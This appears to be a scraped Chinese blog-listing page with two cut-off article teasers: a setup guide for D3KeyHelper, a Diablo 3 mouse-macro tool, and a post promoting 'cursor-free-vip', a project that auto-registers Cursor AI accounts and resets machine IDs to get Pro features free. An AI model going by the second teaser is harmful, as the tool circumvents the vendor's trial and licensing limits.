如何快速配置D3KeyHelper&#xff1a;暗黑3终极自动化助手完整指南 【免费下载链接】D3keyHelper D3KeyHelper是一个有图形界面&#xff0c;可自定义配置的暗黑3鼠标宏工具。 项目地址: https://gitcode.com/gh_mirrors/d3/D3keyHelper 还在为暗黑破坏神3中重复按键导致…

作者头像 李华
网站建设 2026/4/17 17:51:09

Cursor Pro无限体验:3步解锁AI编程助手的全部潜力

Cursor Pro无限体验&#xff1a;3步解锁AI编程助手的全部潜力 【免费下载链接】cursor-free-vip [Support 0.45]&#xff08;Multi Language 多语言&#xff09;自动注册 Cursor Ai &#xff0c;自动重置机器ID &#xff0c; 免费升级使用Pro 功能: Youve reached your trial r…

作者头像 李华